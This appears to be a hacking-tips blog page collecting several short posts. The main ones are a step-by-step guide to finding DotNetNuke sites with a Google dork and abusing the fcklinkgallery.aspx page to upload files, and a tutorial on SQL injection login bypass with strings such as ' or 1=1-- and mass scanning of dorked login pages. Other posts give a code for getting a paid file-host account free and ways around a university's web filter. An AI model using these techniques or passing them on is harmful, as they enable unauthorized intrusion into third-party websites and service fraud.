DNN (DotNetNuke) Hacking

Hello Friends,

Today I will explain a new hacking technique known as DNN (DotNetNuke). I will show you how to hack a DNN website. Is it easy? Yes. It is easy compared to other hacking attacks such as SQL-Injection and Cross Site Scripting. I will teach you how to find your target and how to enter into the target website and upload your files.

DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.

Below are the easy steps to implement the attack:

    * First use a google dork to find the appropriate target.

    inurl:”/portals/0″ site:.com

    * You can change com to your desired domain name like bd ph ae
    * Now search your website on the google after searching you will get many websites choose any one of it.

    * Its time to check the required vulnerability on the website just place this code after the web address.

    Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

    * For example if you got www.victim.com
    * Replace it www.victim.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

If you will get this screen means this web is going to hack.

    * Now choose the third option "A File On Your Site” And than paste this java code on your address bar.

    javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

    * It will allow you to upload a files on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.

    * After uploading files you can find your file on this address www.victim.com/portals/0/yourfile.extension

here extension is txt jpg swf etc.

Read More

create your own proxy server

1. Download and Install GlypeProxy

GlypeProxy is a free, standalone PHP script. That means it’s lightweight and incredibly easy to configure. You can download it from their website.

Next, upload the files to a sub directory on your webserver. If you see a folder called ‘www’, or called after your domain name (e.g. domain.com) create the sub folder in there. You need to avoid using the word ‘proxy’, because some companies pick up on it. Instead, use ‘web’ or ’surf’.

There are a few different ways to upload your files. If you already know this, skip to the next paragraph. Here they are arranged from the least to the most effort.

    * Upload and unpack ZIP

Look in the filemanager for an ‘unpack’ or ‘extract’ option. You can then upload it in one take. This is not always supported.

    * FTP access

Use an FTP application to access your webhost, and let it transfer the files while you fetch some more coffee. Most often supported.

    * Manual upload

You really don’t want to do this – are you sure the previous two alternatives are blanked out? Your last resolve will be to manually upload all the files and folder structures. Or start looking for a different host – it might not be such a bad idea.
2. Ready For Use

There’s no real set-up needed. Just point your browser to the directory where you put all those files (ex. domain.com/surf) and GlypeProxy will pop up. If you don’t like the logo, you’ll have to replace it manually. But if you want a proxy server for personal use, some little branding won’t matter.Users can enter any URL and, after expanding the options, choose to encode the URL, the page, allow cookies, scripts and objects. Encoding the page can help you access some sites that are still being picked up and intercepted, but might give you a corrupt webpage at times.
3. Admin Preferences

Although Glype is a powerful proxy script, the admin tools are obviously the backing power. You might not know this, but a lot of online proxy tools are powered by Glype, just like the one you just set up. The admin preferences leave room not only for customization, but for improvement. You can assign site-specific code for trouble-giving websites, and change user-agent and proxy lists.

Most useful to novice users will be the caching tools (pictured above), logs, and blacklists. The caching tools can help you improve the browsing speed by storing some files from all, or some of the already visited websites. Logs are off by default, but might have legal importance in the future, depending on who uses your proxy server. Always explicitly mention you’re keeping these logs. Finally, the blacklists will allow you to block (all but) a few sites, or users.

To access your admin panel, point your browser to admin.php on your webserver (e.g. domain.com/surf/admin.php).

Are you setting up your own personal proxy server? Do you have any other tips or experiences on the issue? Let us know in the comments below!

Read More

List Of All SQL Injection

One of the major problems with SQL is its poor security issues surrounding is the login and url strings. This tutorial is not going to go into detail on why these string work as all these details have been given in my previous article Top 10 Tricks to exploit SQL Server Systems .

First SEARCH the following Keywords in Google or any Search Engine:

admin\login.asp
login.asp

with these two search string you will have plenty of targets to chose from…choose one that is Vulnerable

INJECTION STRINGS: How to use it?

This is the easiest part…very simple

On the login page just enter something like

user:admin (you dont even have to put this.)
pass:’ or 1=1–

or

user:’ or 1=1–
admin:’ or 1=1–

Some sites will have just a password so

password:’ or 1=1–

In fact I have compiled a combo list with strings like this to use on my chosen targets . There are plenty of strings in the list below. There are many other strings involving for instance UNION table access via reading the error pages table structure thus an attack with this method will reveal eventually admin U\P paths.

The one I am interested in are quick access to targets

PROGRAM

i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit of success with a combo list formatted this way. Yesteday I loaded 40 eastern targets with 18 positive hits in a few minutes how long would it take to go through 40 sites cutting and pasting each string

combo example:

admin:’ or a=a–
admin:’ or 1=1–

And so on. You don’t have to be admin and still can do anything you want. The most important part is example:’ or 1=1– this is our basic injection string

Now the only trudge part is finding targets to exploit. So I tend to search say google for login.asp or whatever

inurl:login.asp
index of:/admin/login.asp

like this: index of login.asp

result:

http://www3.google.com/search?hl=en&ie=ISO…G=Google+Search

17,000 possible targets trying various searches spews out plent more

Now using proxy set in my browser I click through interesting targets. Seeing whats what on the site pages if interesting I then cut and paste URL as a possible target. After an hour or so you have a list of sites of potential targets like so

http://www.somesite.com/login.asp
http://www.another.com/admin/login.asp

and so on. In a couple of hours you can build up quite a list because I don’t select all results or spider for log in pages. I then save the list fire up Ares and enter

1) A Proxy list
2) My Target IP list
3) My Combo list
4) Start.

Now I dont want to go into problems with users using Ares..thing is i know it works for me…

Sit back and wait. Any target vulnerable will show up in the hits box. Now when it finds a target it will spew all the strings on that site as vulnerable. You have to go through each one on the site by cutting and pasting the string till you find the right one. But the thing is you know you CAN access the site. Really I need a program that will return the hit with a click on url and ignore false outputs. I am still looking for it. This will saves quite a bit of time going to each site and each string to find its not exploitable.

There you go you should have access to your vulnerable target by now

Another thing you can use the strings in the urls were user=? edit the url to the = part and paste ‘ or 1=1– so it becomes
user=’ or 1=1– just as quick as login process.

Read More

Depositefile Gold Account Trick

first go to
http://depositfiles.com/en/payment_sms_tariffs.php##

2~ put this code n5kit65v
3~ then Click Send Button
3~ No need to change email or password or login.just use as it as.
4~ now Put any depositfile link and press enter download as a gold user..Enjoy yr Freedom>>>>>>>>>>

Read More

Multi Login Gtalk

WISH YOU COULD RUN MANY Gtalk MESSENGER IN A SINGLE PC...?

HERE'S A TRICK TO DO SO..!

INSTRUCTION:-

¨  STEP 1) RIGHT CLICK ON Gtalk AND OPEN PROPERTIES AND POINT TO SHORTCUT TAB.

¨  STEP 2) POINT TO TARGET(i.e. location) AND WRITE nomutex INSTEAD OF startmenu.

¨  STEP 3) CLICK APPLY AND THEN OK.

NOW YOU CAN OPEN AS MANY AS MESSENGER AS YOU WANT JUST BY CLICKING THE Gtalk ICON.

¨  HAPPY MULTI CHATTING...!!!!!!

Read More

UpDated WebSence

Hi!! As you had seen that all proxy is blocked by L.P.U so i am uploading a new software named "tor"just download this and connect it ,after connecting open firefox and a tor button will be appear near yr mozilla firefox just enable it by clicking on it and reload the page and now surf and download unlimited. Download Now

Read More

Unblock Blocked site surf unlimite

SURF FACEBOOK,ORKUT AND ALL OTHER WEBSITES YOU WANT WITH 100% ANONIMITY.Bypass LPU's latest Web security gateway software "WEBSENSE" by a new release of Hotspot v1.54 that too with a tutorial to get rid of the advertisements.

¨  Steps Follwed:-

¨  DOWNLOAD HOTSPOT '&' install it, and then surf whatever you want.

Hotspot shield is very disturbing and freaks people out , with its advertisements. If you want to get rid of the advertisements then follow the following steps.

¨  Step 1) You can get rid of ads only in firefox first of all .Now Go to TooLs in menubar as shown below and click on Add-ons.

¨  Step 2) Click Get Add-Ons and search "Adblock Plus" and click "Add to Firefox" and click on install ( It will take approx 15-20 sec ) and then restart Firefox.

¨  Step 3) Now you will see a "ABP" button under the close button, click on the arrow beside and click on Preferences.

¨  Step 4) Now click on "Add filter" and write 'http://box.anchorfree.net/' , then click apply and ok.If it fails then try this proxy:-62.215.5.66 and Port 8080.

Read More